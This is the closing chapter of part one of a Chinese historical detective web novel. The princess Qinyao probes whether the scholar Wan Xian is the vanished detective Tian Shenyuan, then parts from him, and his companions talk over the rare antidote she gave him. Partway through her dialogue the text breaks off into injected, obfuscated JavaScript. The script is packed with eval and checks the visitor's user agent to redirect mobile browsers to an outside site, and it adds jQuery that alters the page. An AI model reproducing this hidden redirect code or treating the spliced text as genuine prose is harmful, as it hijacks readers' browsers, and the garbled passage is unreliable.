雾山角咬牙切齿地拔剑,道:“既然这么苦恼,不如我一刀帮你了结算了!” “那倒不必,那倒不必,小爷我自有办法糊弄我爹。”王博多龇牙咧嘴,拒绝道。 另一边,寺中凉亭。 万仙扇着那白面折扇,看着远山的翠绿,思绪飘回到从前。 他想起自己在皇宫里第一次见到三公主的时候,三公主年纪还小,她总是缠着他,要他给她讲他破案的故事…… 那真是段美好的时光啊。 就在他暗自感慨之时,琴瑶公主的声音突然在他身后响起。 “天神渊!” 万仙心里一惊。 他知道琴瑶公主已怀疑他的身份。她在探案时要让她男扮女装,并不是想捉弄他,而是为了在梳妆时找到他易容的破绽。她那是在故意试探他。 现在也是如此。她突然叫他曾经的名号,就是想看他有何种反应。 他不应该佯装没听到,毕竟正常人突然听到身后有响动,不会站着如同木桩。 于是万仙赶紧转过身,露出茫然的表情。 只见琴瑶公主凝视着他的眼眸,独自疾步而来。 “公主刚才是在叫……我?” 琴瑶公主梗着脖子,盯着万仙的眼睛:“这里还有别人吗?” 琴瑶公主那胸有成竹的表情让万仙心里一惊。 “可是我……” “你想说你不是那个与我熟识的天神渊?可若你真只是个普通人,不是天神渊,又怎会知道,葡萄是假的三公主,而我是真的呢?就因为指上有无练琴的茧?可是……”琴瑶公主举起了自己的手。她细腻的手指上,一个茧也没有。 万仙佯装现在才知道,调侃似的道:“原来传闻是假的。名叫琴瑶的公主殿下其实不会抚琴?借千芳古琴,也只是为了游历图装装样子?” 琴瑶公主哼笑一声,道:“你说,我和葡萄都没有练琴时留下的茧,你又如何推断出我们的身份,诱导王博多,指认出我?” “公主殿下,那真是误打误撞了。我一开始只是看到葡萄姑娘的双手没有留茧,觉得她不是真公主,谁曾想,您也不曾练琴啊。”他言之凿凿。 “真的只是误打误撞吗?”琴瑶公主继续盯着他的眼睛,见他眼神万分坚定,她的眼神便开始闪烁起来。她似乎也拿不定主意了,于是磕磕巴巴道:“可是……可是……你的眼睛跟他的一模一样……” “能与天神渊大人有一样的眼睛,在下荣幸之至。不过,只是眼睛相似,就指认我为天神渊,怕是对那位大人有所不敬啊。” “不不不,你的眼睛并非与他的相似,而是完全一样!你的声音倒是可以说与他的相似……” “世上千万人,眼耳口鼻有一处相同的,也实属正常。”万仙再次佯装才明白道,“原来,公主殿下之前为我梳妆,是为了试探我呀?你以为我是天神渊易容的?那你可发现,我这张脸有破绽?” “我我我……”原本还坚定的琴瑶公主,再次动摇了,她的确没能找到万仙面容是假的的证据。 许久之后,她疑惑地问万仙:“你真不是天神渊?” “在下名叫万仙。” 琴瑶公主咬了咬嘴唇,闪动的眼睛里是失望。 “好吧。如果你看到跟你眼睛一模一样,但容貌比你差很多的人,请记得告诉我。” “我如何告诉身在皇宫里的公主殿下?” “你那么聪明,自有办法,不是吗?”琴瑶公主泄气似的把一个药袋丢到了万仙面前,“此番出宫,我也没有携带什么珍宝,不知道拿什么感谢你帮我抓到了杀害葡萄的真凶,这几颗紫宸百毒散就赏给你了。” “谢公主殿下。”万仙赶紧行礼,接过了那药袋,“不过公主殿下……” “放心,这东西我有的是。”说罢,琴瑶公主转身就要走。 万仙感觉自己逃过了一劫,不由松了一口气。 可走下台阶没几步,琴瑶公主忽然转头,道:“虽然你不承认自己的天神渊。但……万一你真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235448|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的是呢?” 万仙惊叹于她的直觉,愣了片刻,轻轻笑道:“若我是天神渊,公主想说什么?” “不要回头,多多保重。既然你要选择消失,一定有你的道理。你若回去,我的父皇一定不会放过你吧?我不知道你们之间发生了什么,但我相信你,我相信你一定有你的苦衷……”她低声,真诚道,“所以既然决定离开,就不要回头,多多保重。万仙。” 听到她郑重地唤他万仙,万仙的眼睛湿润了起来。可是很快,他就扬起了无足轻重的笑,对琴瑶公主道:“若我遇到与我有同样眼睛之人,我会替公主转达,让他不要回头,多多保重的。在此,我替他谢过公主,也请公主多多保重。” 琴瑶公主莞尔一笑,全然不是平日里那副娇蛮的模样。然后,她冲万仙点点头,离开了凉亭。 万仙看到远处,侍卫山竹和墨青洲并肩站立,远远看护着琴瑶公主的一举一动。 他们应该没听到他与琴瑶公主之间的谈话。但不知为何,当众人在龙兴寺门口分别,万仙登上返归程的马车时,他注意到墨青洲掀开了车窗的帘子,向他这边投来意味深长的一瞥。 万仙本想回以微笑容,但墨青洲面无表情,迅速地放下了窗帘。 万仙凝视那微微抖动的窗帘许久,才钻进了马车内。 “恭送三公主……”龙兴寺的僧人们在新住持凌缘的带领下,送别三公主。 马车启程,两批人马,背道而驰,越驶越远。 阿奇阿怪驾驶的马车上,王博多捏着琴瑶公主赠予万仙的药丸,疑惑道:“这种药丸我怎么没见过,很珍贵吗?” “你没见过的东西多了。”雾山角抱着不忍剑道,“这紫宸百毒散可是救了慈航一命。” “慈航现在身体如何?”万仙关切地问道。 “他已苏醒,虽然身体大不如前,但好歹保住了性命。”雾山角回答道。 万仙替慈航松了一口气。 而王博多听闻这药能起死回生,立马从“捏着药丸”变成了“捧着药丸”。 “这紫宸百毒散这么厉害啊,那一定很贵吧。”王博多察觉万仙和雾山角正在斜眼看他,立刻正了正身,道,“不过再贵,肯定没仙儿哥的探案书贵。仙儿哥,你回去就把之前写的话本修订了,然后,赶紧把这佛寺里的谋杀也写出来,我定替你找个好书商好好打造一番!狠狠赚他一笔!” 雾山角道:“你是想累死你仙儿哥?” “你这大头怎么说话呢!我这叫作合理规划,助力仙儿哥成为天下第一话本神探!”王博多朝万仙眨巴眨巴眼。 万仙拿他那白面折扇轻打他的脑袋,却不由笑了起来。 马车在三人的笑语里,摇摇晃晃地驶向藏乐楼。 今日日暖风轻,天空澄明,至于明日…… 在摇晃的车厢里,万仙再次想起三公主的话。 “不要回头,多多保重。” 他摇着扇子,缓缓呼出一口气,告诫自己明日是继续晴空万里还是暴风骤雨,暂且就不去想了吧。 可是,那摇摇欲坠的明日,真的能不去想吗? (第一部,完)